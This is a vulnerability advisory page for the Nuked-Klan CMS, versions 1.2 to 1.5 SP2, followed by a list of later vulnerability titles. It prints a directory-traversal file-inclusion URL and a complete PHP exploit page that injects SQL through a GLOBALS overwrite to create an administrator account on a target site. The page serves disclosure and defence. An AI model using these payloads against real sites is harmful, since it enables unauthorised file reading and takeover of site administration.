exploits , vulnerabilities , articles , Nuked-Klan Multiple Vulnerabilities

Title	Nuked-Klan Multiple Vulnerabilities
Published	2004-04-12-12:00AM
Updated	2004-04-17-02:05PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery is credited to frog-m@n <leseulfrog@hotmail.com>.
Vulnerable	NukedKlan NukedKlan 1.5 SP2 NukedKlan NukedKlan 1.5 NukedKlan NukedKlan 1.4 NukedKlan NukedKlan 1.3 beta NukedKlan NukedKlan 1.3 NukedKlan NukedKlan 1.2 beta NukedKlan NukedKlan 1.2
Not Vulnerable
Code	The following proof-of-concept examples were provided: - To include a local file: http://www.example.com/index.php?user_langue=../../../../../file/to/view - Create admin (overwriting GLOBALS) : ------------------------------------------------------- <html> <head> <title>Nuked-KlaN b1.5 Create Admin</title> </head> <body> <? function ascii_sql($str) { for ($i=0;$i < strlen($str);$i++) { if ($i == strlen($str)-1){ $ascii_char.=ord(substr($str,$i)); }else{ $ascii_char.=ord(substr($str,$i)).','; } } return $ascii_char; } if (isset($_POST["submit"])){ echo "<script>url='".$target."/index.php? file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20 (id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST ["pseudo"])."),md5(char(".ascii_sql($_POST ["pass"]).")),9)/*&module=Gallery';window.open(url);</script>"; echo "<br><br><br><br>Admin should have been created."; }else{ ?> <form method="POST" action="<? echo $PHP_SELF; ?>"> <b>Target :</b> <input type="text" name="target" value="http://"><br> <b>Admin Nick :</b> <input type="text" name="pseudo"><br> <b>Admin Pass :</b> <input type="text" name="pass"><br> <input type="submit" name="submit" value="Create Admin"> </form> <? } ?> </body> </html> -------------------------------------------------------
TXT

Vulnerabilities - newest 10 RSS | More

2008-11-22 KVIrc URI Handler Remote Command Execution Vulnerability
2008-11-22 NVIDIA Cg Toolkit Installer Insecure Temporary File Creation Vulnerability
2008-11-22 TkUsr Insecure Temporary File Creation Vulnerability
2008-11-21 TAU Tuning and Analysis Utilities Insecure Temporary File Creation Vulnerabilities
2008-11-21 Maildirsync Insecure Temporary File Creation Vulnerability
2008-11-21 TkMan Insecure Temporary File Creation Vulnerability
2008-11-21 Apple iPhone Configuration Web Utility for Windows Directory Traversal Vulnerability
2008-11-21 Cisco IOS and CatOS VLAN Trunking Protocol Packet Handling Denial Of Service Vulnerability
2008-11-21 vBulletin Visitor Messages Addon Comment Notification HTML Injection Vulnerability
2008-11-21 Apple Mac OS X CoreGraphics Multiple Memory Corruption Vulnerabilities